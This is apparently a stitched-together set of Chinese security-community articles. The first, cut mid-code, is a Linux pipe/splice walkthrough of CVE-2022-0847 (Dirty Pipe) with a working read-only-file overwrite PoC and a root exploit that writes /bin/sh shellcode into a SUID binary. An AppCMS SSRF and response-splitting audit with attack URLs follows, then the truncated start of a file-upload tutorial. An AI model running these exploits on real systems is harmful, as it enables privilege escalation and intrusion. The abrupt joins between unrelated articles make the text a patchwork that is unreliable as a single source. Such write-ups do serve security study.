copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); // 将数据拷贝到 buffer 对应 page 上
if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
if (!ret)
ret = -EFAULT;
break;
}
ret += copied;
buf->offset = 0;
buf->len = copied;
if (!iov_iter_count(from)) // 读完数据了，退出循环
break;
}
if (!pipe_full(head, pipe->tail, pipe->max_usage)) // 管道没满，继续下一次循环
continue;
/* 等待缓冲区空间可用. */
// 管道满了，等他变空
if (filp->f_flags & O_NONBLOCK) {
if (!ret)
ret = -EAGAIN;
break;
}
if (signal_pending(current)) {
if (!ret)
ret = -ERESTARTSYS;
break;
}
/*
* 我们将释放管道的锁，等待（有）更多的空间。
* 若有必要我们将唤醒任意读者，在等待后我们需要重新检查
* 在我们释放锁后管道是否变空了
*/
__pipe_unlock(pipe);
if (was_empty)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe));
__pipe_lock(pipe);
was_empty = pipe_empty(pipe->head, pipe->tail);
wake_next_writer = true;
}
out:
if (pipe_full(pipe->head, pipe->tail, pipe->max_usage))
wake_next_writer = false;
__pipe_unlock(pipe);
/*
* 若我们进行了一次唤醒事件，我们做一个“同步”唤醒，
* 因为相比起让数据仍旧等待，我们想要让读者去尽快
* 处理事情
*
* 尤其是，这对小的写操作重要，这是因为（例如）GNU 让
* jobserver 使用小的写操作来唤醒等待的工作
*
* Epoll 则没有意义地想要一个唤醒，
* 无论管道是否已经空了
*/
if (was_empty || pipe->poll_usage)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
if (wake_next_writer)
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) {
int err = file_update_time(filp);
if (err)
ret = err;
sb_end_write(file_inode(filp)->i_sb);
}
return ret;
}
### 管道的读出过程
从管道中读出数据则是通过 `pipe_read`，主要是读取 buffer 对应 page 上的数据，若一个 buffer 被读完了则将其出列
原理还是比较简单的，这里就不深入分析了
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
size_t total_len = iov_iter_count(to);
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
bool was_full, wake_next_reader = false;
ssize_t ret;
/* Null read succeeds. */
if (unlikely(total_len == 0))
return 0;
ret = 0;
__pipe_lock(pipe);
/*
* 若管道满了，我们只在开始读取时唤醒写者
* 以避免没有必要的唤醒
*
* 但当我们唤醒写者时，我们使用一个同步唤醒(WF_SYNC)
* 因为我们想要他们行动起来并为我们生成更多数据
*/
was_full = pipe_full(pipe->head, pipe->tail, pipe->max_usage);
for (;;) {
unsigned int head = pipe->head;
unsigned int tail = pipe->tail;
unsigned int mask = pipe->ring_size - 1;
#ifdef CONFIG_WATCH_QUEUE
if (pipe->note_loss) {
struct watch_notification n;
if (total_len < 8) {
if (ret == 0)
ret = -ENOBUFS;
break;
}
n.type = WATCH_TYPE_META;
n.subtype = WATCH_META_LOSS_NOTIFICATION;
n.info = watch_sizeof(n);
if (copy_to_iter(&n, sizeof(n), to) != sizeof(n)) {
if (ret == 0)
ret = -EFAULT;
break;
}
ret += sizeof(n);
total_len -= sizeof(n);
pipe->note_loss = false;
}
#endif
if (!pipe_empty(head, tail)) { // 管道非空，逐 buffer 读出数据
struct pipe_buffer *buf = &pipe->bufs[tail & mask];
size_t chars = buf->len;
size_t written;
int error;
if (chars > total_len) {
if (buf->flags & PIPE_BUF_FLAG_WHOLE) {
if (ret == 0)
ret = -ENOBUFS;
break;
}
chars = total_len;
}
error = pipe_buf_confirm(pipe, buf);
if (error) {
if (!ret)
ret = error;
break;
}
// 将 buffer 对应 page 数据拷贝出来
written = copy_page_to_iter(buf->page, buf->offset, chars, to);
if (unlikely(written < chars)) {
if (!ret)
ret = -EFAULT;
break;
}
ret += chars;
buf->offset += chars;
buf->len -= chars;
/* 这是一个 packet buffer？清理并退出 */
if (buf->flags & PIPE_BUF_FLAG_PACKET) {
total_len = chars;
buf->len = 0;
}
if (!buf->len) { // buffer 空了，释放
pipe_buf_release(pipe, buf);
spin_lock_irq(&pipe->rd_wait.lock);
#ifdef CONFIG_WATCH_QUEUE
if (buf->flags & PIPE_BUF_FLAG_LOSS)
pipe->note_loss = true;
#endif
tail++; // 被读的 buffer 出队
pipe->tail = tail;
spin_unlock_irq(&pipe->rd_wait.lock);
}
total_len -= chars;
if (!total_len)
break; /* 常规路径：读取成功 */
if (!pipe_empty(head, tail)) /* More to do? */
continue; // 没读完，还有数据，接着读
}
if (!pipe->writers)
break;
if (ret)
break;
if (filp->f_flags & O_NONBLOCK) {
ret = -EAGAIN;
break;
}
__pipe_unlock(pipe);
/*
* 我们只有在确实没读到东西时到达这里
*
* 然而，我们或许已看到（并移除） 一个 size 为 0 的 buffer，
* 这可能会在 buffers 中创造空间
*
* 你无法通过一个空写入来制造 size 为 0 的 pipe buffers（packet mode 也不行）
* 但若写者在尝试填充一个已经分配并插入到 buffer 数组中
* 的 buffer 时获得了一个 EFAULT，则这是有可能发生的
*
* 故我们仍需在【非常】不太可能发生的情况：
* “管道满了，但我们没有获得数据”下
* 唤醒任何等待的写者
*/
if (unlikely(was_full))
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
/*
* 但因为我们没有读到任何东西，若我们打断了，则这时候我们可以直接
* 返回一个-ERESTARTSYS，
* 因为我们已经完成了任何所需的环境，没有必要标记任何可访问.
* 且我们已释放了锁。
*/
if (wait_event_interruptible_exclusive(pipe->rd_wait, pipe_readable(pipe)) < 0)
return -ERESTARTSYS;
__pipe_lock(pipe);
was_full = pipe_full(pipe->head, pipe->tail, pipe->max_usage);
wake_next_reader = true;
}
if (pipe_empty(pipe->head, pipe->tail))
wake_next_reader = false;
__pipe_unlock(pipe);
if (was_full)
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (wake_next_reader)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
if (ret > 0)
file_accessed(filp);
return ret;
}
这里我们可以总结：对于一个刚刚建立的管道，其 buffer 数组其实并没有分配对应的页面空间，也没有设置标志位；在我们向管道内写入数据时会通过 buddy
system 为对应 buffer 分配新的页框， **并设置 PIPE_BUF_FLAG_CAN_MERGE 标志位，标志该 buffer
可以进行写入** ；而当我们从管道中读出数据之后，纵使一个 buffer 对应的 page 上的数据被读完了，我们也不会释放该
page，而可以也会直接投入到下一次使用中， **因此会保留 PIPE_BUF_FLAG_CAN_MERGE 标志位**
## splice：文件与管道间数据拷贝
当我们想要将一个文件的数据拷贝到另一个文件时，比较朴素的一种想法是打开两个文件后将源文件数据读入后再写入目标文件，但这样的做法需要在用户空间与内核空间之间来回进行数据拷贝，
**具有可观的开销**
因此为了减少这样的开销， `splice`这一个非常独特的系统调用应运而生，其作用是 **在文件与管道之间进行数据拷贝** ，以此
**将内核空间与用户空间之间的数据拷贝转变为内核空间内的数据拷贝，从而避免了数据在用户空间与内核空间之间的拷贝造成的开销**
glibc 中的 wrapper 如下：
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <fcntl.h>
ssize_t splice(int fd_in, loff_t *off_in, int fd_out,
loff_t *off_out, size_t len, unsigned int flags);
splice 系统调用 **本质上是利用管道在内核空间中进行数据拷贝** ，毫无疑问的是，管道是一个十分好用的内核缓冲区，于是 splice
系统调用选择使用管道作为中间的数据缓冲区
当你想要将数据从一个文件描述符拷贝到另一个文件描述符中，只需要先创建一个管道，之后使用 splice 系统调用将数据从源文件描述符拷贝到管道中、再使用
splice 系统调用将数据从管道中拷贝到目的文件描述符即可。这样的设计使得我们只需要两次系统调用便能完成数据在不同文件描述符间的拷贝工作，且
**数据的拷贝都在内核空间中完成，极大地减少了开销**
splice 系统调用正式操作前都是一些基础的检查工作，这一块不深入分析，存在如下调用链：
SYS_splice() // 检查文件描述符是否可用
__do_splice() // 检查是否入设置了偏移或出设置了偏移（任一则返回）
do_splice() // 分流
最终文件与管道间的分流发生在 `do_splice()` 函数：
* 从管道读取到管道，调用 `splice_pipe_to_pipe()`
* 从文件读取到管道，调用 `splice_file_to_pipe()`
* 从管道读取到文件，调用 `do_splice_from()`
### 从文件读取到管道
从文件读取数据到管道的核心原理是： **将 pipe_buffer 对应的 page 设置为文件映射的 page**
存在如下调用链：
splice_file_to_pipe()
do_splice_to()
在 `do_splice_to` 中最终会调用到内核文件结构体函数表的 `splice_read` 指针，对于不同的文件系统而言该函数指针不同，以 ext4
文件系统为例，查表 `ext4_file_operations`，对应调用的函数应为 `generic_file_splice_read`，存在如下调用链：
generic_file_splice_read()
call_read_iter()
该函数是文件函数表中 `read_iter()` 的 wrapper，对 ext4 而言对应调用
`ext4_file_read_iter`，源码比较多，这里只贴出核心调用链，最终调用到核心函数是 `filemap_read()`：
ext4_file_read_iter()
generic_file_read_iter()
filemap_read()
filemap_get_pages() // 获取到文件对应映射的页面集
copy_page_to_iter() // 进行页面拷贝（单位为单个页面）
__copy_page_to_iter()
copy_page_to_iter_pipe() // 我们是管道，所以走入该分支
最终在 `copy_page_to_iter_pipe()` 中，将对应的 `pipe_buffer->page` 设为 **文件映射的页面集的对应页框**
，将页框引用计数 + 1（`get_page()`），这样就完成了一个 **从文件读取数据到管道的过程** ，因为是直接建立页面的映射，所以每次操作后都会将
head +1
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
if (unlikely(bytes > i->count))
bytes = i->count;
if (unlikely(!bytes))
return 0;
if (!sanity(i))
return 0;
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];
if (off) {
if (offset == off && buf->page == page) {
/* merge with the last one */
buf->len += bytes;
i->iov_offset += bytes;
goto out;
}
i_head++;
buf = &pipe->bufs[i_head & p_mask];
}
if (pipe_full(i_head, p_tail, pipe->max_usage))
return 0;
buf->ops = &page_cache_pipe_buf_ops;
get_page(page);
buf->page = page;
buf->offset = offset;
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
这里我们注意到——该操作 **缺失了对 pipe_buffer- >flags 的重新赋值操作**
### 从管道读取到文件
`do_splice_from` 最终会调用对应内核文件结构的函数表中的 `splice_write()` 指针，将 pipe_buffer
数组对应页面上内容读出，写入到文件中，对于不同的文件系统而言该函数指针不同
/*
* Attempt to initiate a splice from pipe to file.
*/
static long do_splice_from(struct pipe_inode_info *pipe, struct file *out,
loff_t *ppos, size_t len, unsigned int flags)
{
if (unlikely(!out->f_op->splice_write))
return warn_unsupported(out, "write");
return out->f_op->splice_write(pipe, out, ppos, len, flags);
}
以 ext4 文件系统为例，最终会调用到 `iter_file_splice_write` 函数，之后存在如下调用链：
iter_file_splice_write(）
splice_from_pipe_next() // 检查管道可用性
vfs_iter_write() // 读出管道数据写入文件
do_iter_write()
do_iter_readv_writev()
call_write_iter // 上层传入type为 WRITE，走入该分支
`call_write_iter` 是文件函数表中 `write_iter()` 的 wrapper，对 ext4 而言对应调用
`ext4_file_write_iter`，这里最终只是常规的将 buf 上数据拷贝到文件上的操作，也并非本篇的重点，就不展开分析了
# 0x01.漏洞分析
我们咋一看好像并没有什么问题，但让我们思考这样一个情景：
* 我们将管道整个读写了一轮，此时所有的 pipe_buffer 都保留了 `PIPE_BUF_FLAG_CAN_MERGE` 标志位
* 我们利用 splice 将数据从文件读取一个字节到管道上，此时 pipe_buffer 对应的 page 成员 **指向文件映射的页面** ，但在 splice 中 **并未清空 pipe_buffer 的标志位，从而让内核误以为该页面可以被写入**
* 在 splice 中建立完页面映射后，此时 head 会指向下一个 pipe_buffer，此时我们再向管道中写入数据，管道计数器会发现上一个 pipe_buffer 没有写满，从而 **将数据拷贝到上一个 pipe_buffer 对应的页面——即文件映射的页面** ，由于 `PIPE_BUF_FLAG_CAN_MERGE` 仍保留着，因此 **内核会误以为该页面可以被写入** ，从而完成了越权写入文件的操作
漏洞点便是在于 splice 系统调用中 **未清空** `pipe_buffer` **的标志位，从而将管道页面可写入的状态保留了下来**
，这给了我们越权写入只读文件的操作
我们不难发现这个漏洞与脏牛十分类似，都是能越权对文件进行写入，不同的是脏牛需要去撞条件竞争的概率，而该漏洞 **可以稳定触发**
，但是脏牛可以直接写整个文件，而 **该漏洞不能在管道边界上写入**
> 当然，如果这个文件甚至都是不可读的，那自然是没法利用的（笑），但在主流 Linux 发行版中有着大量的可作为我们攻击目标的文件，例如 suid 程序或
> `/etc/passwd` 等
# 0x02.漏洞利用
漏洞利用的步骤其实我们在前面都已经叙述得差不多了，主要就是分三步走：
## Step.I 写、读管道，设置 PIPE_BUF_FLAG_CAN_MERGE flag
为了保证利用能够稳定成功，我们首先新建一个管道， **将管道写满后再将所有数据读出** ，这样管道的每一个 `pipe_buffer` 都会被设置上
`PIPE_BUF_FLAG_CAN_MERGE` 标志位
## Step.II splice 建立 pipe_buffer 与文件的关联（漏洞产生点）
接下来我们使用 splice 系统调用将数据从目标文件中读入到管道，从而让 `pipe_buffer->page`
变为文件在内存中映射的页面，为了让下一次写入数据时写回文件映射的页面，我们应当 **读入不多于一个数据的页面** ，这里笔者选择读入 1
个字节，这样我们仍能向文件上写入将近一张页面的数据
当我们完成读入之后，管道的 head 指向下一个 pipe_buffer，因此我们若要写入文件则应当走入到 pipe_write 开头写入上一个
pipe_buffer 的分支，这也是为什么我们在这里只读入一个字节的缘故
## Step.III 向管道中写入恶意数据，完成越权写入文件
接下来 **我们直接向管道中写入数据就能完成对只读文件的越权写入** 。在 splice 中建立完页面映射后，此时 head 会指向下一个
pipe_buffer，此时我们再向管道中写入数据，管道计数器会发现上一个 pipe_buffer 没有写满，从而 **将数据拷贝到上一个
pipe_buffer 对应的页面——即文件映射的页面** ，由于 `PIPE_BUF_FLAG_CAN_MERGE` 仍保留着，因此
**内核会误以为该页面可以被写入** ，从而完成了越权写入文件的操作
## poc
我们使用 qemu 起一个测试环境，看看是否能够利用该漏洞对只读文件进行写入，最终的 poc 如下：
/*
* POC of CVE-2022-0847
* written by arttnba3
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error : \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv, char **envp)
{
long page_size;
size_t offset_in_file;
size_t data_size;
int target_file_fd;
struct stat target_file_stat;
int pipe_fd[2];
int pipe_size;
char *buffer;
int retval;
// checking before we start to exploit
if (argc < 4)
{
puts("[*] Usage: ./exp target_file offset_in_file data");
exit(EXIT_FAILURE);
}
page_size = sysconf(_SC_PAGE_SIZE);
offset_in_file = strtoul(argv[2], NULL, 0);
if (offset_in_file % page_size == 0)
errExit("Cannot write on the boundary of a page!");
target_file_fd = open(argv[1], O_RDONLY);
if (target_file_fd < 0)
errExit("Failed to open the target file!");
if (fstat(target_file_fd, &target_file_stat))
errExit("Failed to get the info of the target file!");
if (offset_in_file > target_file_stat.st_size)
errExit("Offset is not in the file!");
data_size = strlen(argv[3]);
if ((offset_in_file + data_size) > target_file_stat.st_size)
errExit("Cannot enlarge the file!");
if (((offset_in_file % page_size) + data_size) > page_size)
errExit("Cannot write accross a page!");
// exploit now...
puts("\033[34m\033[1m[*] Start exploiting...\033[0m");
/*
* prepare the pipe, make every pipe_buffer a MERGE flag
* Just write and read through
*/
puts("\033[34m\033[1m[*] Setting the PIPE_BUF_FLAG_CAN_MERGE for each buffer in pipe.\033[0m");
pipe(pipe_fd);
pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
buffer = (char*) malloc(page_size);
for (int size_left = pipe_size; size_left > 0; )
{
int per_write = size_left > page_size ? page_size : size_left;
size_left -= write(pipe_fd[1], buffer, per_write);
}
for (int size_left = pipe_size; size_left > 0; )
{
int per_read = size_left > page_size ? page_size : size_left;
size_left -= read(pipe_fd[0], buffer, per_read);
}
puts("\033[32m\033[1m[+] Flag setting has been done.\033[0m");
/*
* Use the splice to make the pipe_buffer->page
* become the page of the file mapped, by read
* a byte from the file accross the splice
*/
puts("\033[34m\033[1m[*] Reading a byte from the file by splice.\033[0m");
offset_in_file--; // we read a byte, so offset should minus 1
retval = splice(target_file_fd, &offset_in_file, pipe_fd[1], NULL, 1, 0);
if (retval < 0)
errExit("splice failed!");
else if (retval == 0)
errExit("short splice!");
puts("\033[32m\033[1m[+] File splice done.\033[0m");
/*
* Now it comes to the time of exploit:
* the mapped page of file has been in pipe_buffer,
* and the PIPE_BUF_FLAG_CAN_MERGE is still set,
* just a simple write can make the exploit.
*/
retval = write(pipe_fd[1], argv[3], data_size);
if (retval < 0)
errExit("Write failed!");
else if (retval < data_size)
errExit("Short write!");
puts("\033[32m\033[1m[+] EXPLOIT DONE!\033[0m");
}
运行，发现我们成功地覆写了只读文件
# 0x03.提权
漏洞的利用形式与“脏牛”基本上是一样的：覆写 `/etc/passwd` 或者覆写一些 suid 程序进行提权，这里就不过多赘叙了
## suid 提权
笔者现给出一个修改指定 suid 程序进行提权的 exp，使用 msfvenom 生成运行 `/bin/sh` 的 shellcode：
/*
* exploit of CVE-2022-0847
* written by arttnba3
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
unsigned char shellcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb2, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x48, 0xb8, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 0x52, 0x5e,
0x6a, 0x3b, 0x58, 0x0f, 0x05
};
unsigned int shellcode_len = 149;
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error : \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv, char **envp)
{
long page_size;
size_t offset_in_file;
size_t data_size;
int target_file_fd;
int pipe_fd[2];
int pipe_size;
char *buffer;
int retval;
// checking before we start to exploit
if (argc < 2)
{
puts("[*] Usage: ./exp target_file");
exit(EXIT_FAILURE);
}
page_size = sysconf(_SC_PAGE_SIZE);
offset_in_file = 1;
target_file_fd = open(argv[1], O_RDONLY);
if (target_file_fd < 0)
errExit("Failed to open the target file!");
// exploit now...
puts("\033[34m\033[1m[*] Start exploiting...\033[0m");
/*
* prepare the pipe, make every pipe_buffer a MERGE flag
* Just write and read through
*/
puts("\033[34m\033[1m[*] Setting the PIPE_BUF_FLAG_CAN_MERGE for each buffer in pipe.\033[0m");
pipe(pipe_fd);
pipe_size = fcntl(pipe_fd[1], F_GETPIPE_SZ);
buffer = (char*) malloc(page_size);
for (int size_left = pipe_size; size_left > 0; )
{
int per_write = size_left > page_size ? page_size : size_left;
size_left -= write(pipe_fd[1], buffer, per_write);
}
for (int size_left = pipe_size; size_left > 0; )
{
int per_read = size_left > page_size ? page_size : size_left;
size_left -= read(pipe_fd[0], buffer, per_read);
}
puts("\033[32m\033[1m[+] Flag setting has been done.\033[0m");
/*
* Use the splice to make the pipe_buffer->page
* become the page of the file mapped, by read
* a byte from the file accross the splice
*/
puts("\033[34m\033[1m[*] Reading a byte from the file by splice.\033[0m");
offset_in_file--; // we read a byte, so offset should minus 1
retval = splice(target_file_fd, &offset_in_file, pipe_fd[1], NULL, 1, 0);
if (retval < 0)
errExit("splice failed!");
else if (retval == 0)
errExit("short splice!");
puts("\033[32m\033[1m[+] File splice done.\033[0m");
/*
* Now it comes to the time of exploit:
* the mapped page of file has been in pipe_buffer,
* and the PIPE_BUF_FLAG_CAN_MERGE is still set,
* just a simple write can make the exploit.
*/
retval = write(pipe_fd[1], &shellcode[1], shellcode_len);
if (retval < 0)
errExit("Write failed!");
else if (retval < shellcode_len)
errExit("Short write!");
puts("\033[32m\033[1m[+] EXPLOIT DONE!\033[0m");
puts("\033[34m\033[1m[*] Trigger root shell...\033[0m");
system(argv[1]);
}
在 Ubuntu 21.10 、内核版本 `5.13.0-28` 上测试的结果如下，成功完成提权：
# 0x04.漏洞修复
漏洞的修复方式比较简单，只需要在对应的涉及到 `pipe_buffer->flags` 的代码添加上将 flag 置 0 的代码即可，除了
`copy_page_to_iter_pipe` 以外在 `push_pipe` 中也缺失了置 0 的代码，补充上即可：
diff --git a/lib/iov_iter.c b/lib/iov_iter.c
index b0e0acdf96c1..6dd5330f7a99 100644
--- a/lib/iov_iter.c
+++ b/lib/iov_iter.c
@@ -414,6 +414,7 @@ static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t by
return 0;
buf->ops = &page_cache_pipe_buf_ops;
+ buf->flags = 0;
get_page(page);
buf->page = page;
buf->offset = offset;
@@ -577,6 +578,7 @@ static size_t push_pipe(struct iov_iter *i, size_t size,
break;
buf->ops = &default_pipe_buf_ops;
+ buf->flags = 0;
buf->page = page;
buf->offset = 0;
buf->len = min_t(ssize_t, left, PAGE_SIZE);
> 参见[linux-kernel.vger.kernel.org archive mirror]( | 社区文章 |
官网：<http://www.appcms.cc/>
演示站点：<http://www.topber.com/>
下载最新安装包：<http://www.appcms.cc/download/appcms_2.0.101.zip>
安装好后看 pic.php 文件代码如下：
<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
$img_url=trim($_GET['url']);
$img_url = base64_decode($img_url);
$img_url=strtolower(trim($img_url));
$_GET['type']=strtolower(trim($_GET['type']));
$urls=explode('.',$img_url);
if(count($urls)<=1) die('image type forbidden 0');
$file_type=$urls[count($urls)-1];
if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}
if(strstr($img_url,'php')) die('image type forbidden 2');
if(strstr($img_url,chr(0)))die('image type forbidden 3');
if(strlen($img_url)>256)die('url too length forbidden 4');
header("Content-Type: image/{$_GET['type']}");
readfile($img_url);
} else {
die('image not find！');
}
?>
[
下面一行一行分析：
<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
$img_url=trim($_GET['url']); //去掉空白字符
$img_url = base64_decode($img_url); //把url参数做base64解码、说明传入时是base64编码的
$img_url=strtolower(trim($img_url));//把img_url转化为小写
$_GET['type']=strtolower(trim($_GET['type']));//把type转为小写
$urls=explode('.',$img_url); //使用 . 分割 img_url，如果是1.png
if(count($urls)<=1) die('image type forbidden 0');//如果urls数组小于或者等于1，则终止输出image type forbidden 0
///pic.php?url=test&type=png,随便试试看
[
//也就是说首先要绕过这个流程，就必须要urls数组大于1才可以，也就是.做base64编码,然后.的左右要都不为空才可以;
//把 <http://test.com> 做base64编码后的值是 aHR0cDovL3Rlc3QuY29t 然后用这个值试试可否绕过第一部流程；
//访问 /pic.php?url=aHR0cDovL3Rlc3QuY29t&type=png
[
// 走到下面的流程了，继续看下面的代码；
$file_type=$urls[count($urls)-1]; //取得数组倒数第一个值，这里是获取文件类型的哦
if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}
//判断图片类型是不是’jpg’,’gif’,’png’,’jpeg’这几种，如果是的话什么都不做，如果不是的话则输出 image type
foridden 1
//上面走到 image type foridden 1了，接着要加个图片类型，绕过这个流程；
//把<http://test.com/1.png> 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucG5n 访问
[http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=png，](http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=png，)
在这样是可以绕过这个流程，不过显示的不对了，成为正常访问图片的效果了；
[
//这里其实也存在一个浏览器的RFC标准问题、没按照标准来就容易出问题；
//要实现ssrf 这样是做不到了，换成php试试呢，
//把<http://test.com/1.php> 做base64编码 aHR0cDovL3Rlc3QuY29tLzEucGhw 访问
[http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=php](http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=php)
[
发现又回到了上面的流程、这样行不通。。。
//上面流程主要是判断图片类型的、 把<http://test.com/1.png> 做编码，这样是读png图片流，响应为php文件；
访问
[http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=php](http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucG5n&type=php)
[
发现在客户端是下载php的，而不是去解析php的，因为随便构造的，下载下来的文件是啥都没有。
//上面是把图片当作php文件去下载、 反过来试试呢
//把php文件当图片下载
把<http://test.com/1.php> 做编码；
访问
[http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=png](http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3Rlc3QuY29tLzEucGhw&type=png)
试过了还是不行、还是回到了上面的流程了
因为在 url 参数中做了扩展名控制，所以不能任意文件下载，不然可以做base64编码做任意文件下载噢、还有一种情况存在的可能性，解析漏洞、试试看
把<http://test.com/1.php%00.png> 做编码是 aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==
访问：<http://127.0.0.1/appcms/pic.php?url=>
aHR0cDovL3Rlc3QuY29tLzEucGhwJTAwLnBuZw==&type=png
// appcms 的设计还真是严谨、考虑的这么周到；终于到下一步了；
if(strstr($img_url,'php')) die('image type forbidden 2');//这里看到了，防护了解析漏洞
if(strstr($img_url,chr(0)))die('image type forbidden 3');//这里还判断了空字符截断
if(strlen($img_url)>256)die('url too length forbidden 4');//还判断了 url长度不能大于256
header("Content-Type: image/{$_GET['type']}");//这里是重点，type是响应类型，这个参数是可控的了
readfile($img_url);//开始读文件
} else {
die('image not find！');//如果没有设置url或者type走这里
}
代码分析完毕
之后考虑了下 /1.png 可以通过判断,
用/?1.png也可以通过判断,这就是问题所在了,/?1.png相当于/index.php?pic=1.png或者/index.html?pic=1.png，这样访问在没有获取这个参数时会忽略掉直接显示；试试看
随便找个站 <http://v.qq.com/x/search/?q=1.png> ，然后做base64编码；
aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n
访问：
[http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png](http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png)
ok了、、、如果用火狐的话，需要分析这个文件流，内容都是文件流中，基于浏览器的解析机制不一样，可以换IE浏览器，直接查看返回的内容了；
[
作为极客、这样不算完成、过滤了空字符、还可以联想到 HTTP相应拆分漏洞，用他来显示出内容；
给个换行 测试url如下:
[http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dtest](http://127.0.0.1/appcms/pic.php?url=aHR0cDovL3YucXEuY29tL3gvc2VhcmNoLz9xPTEucG5n&type=png%0A%0Dtest)
[
然后就可以内网漫游了、、、 | 社区文章 |
# WEB安全-上传漏洞
[TOC]
## 1.什么是上传漏洞
web应用上有一些上传文件或者图片的功能点，因未作严格安全限制，导致可以上传恶意代码或者魔改文件，getshell。
## 2.文件上传漏洞如何查找及判断？
一般分为在查找或者利用时候归类，原因是为了更好借助互联网资料展开工作。
* 常规类
工具扫描获取文件上传页面，使用上传页面字典
浏览器Google语法直接搜索：inurl
点击WEB功能浏览
* CMS类
百度或者谷歌搜索相关资料
* 编辑器类
百度或者谷歌搜索相关资料
* 第三方应用
如weblogic等
大思路：一个WEB，先看看中间件有没有解析漏洞，没有就通过功能浏览（如会员中心）或者字典爆破看看上传漏洞，这里没找到，看看是什么CMS\编辑器，再看看最新的CVE漏洞。全程信息搜集，站在巨人肩膀上看的远。
## 3\. 上传图片的功能页面
### 3.1 代码
<?php
error_reporting(0);//取消报错
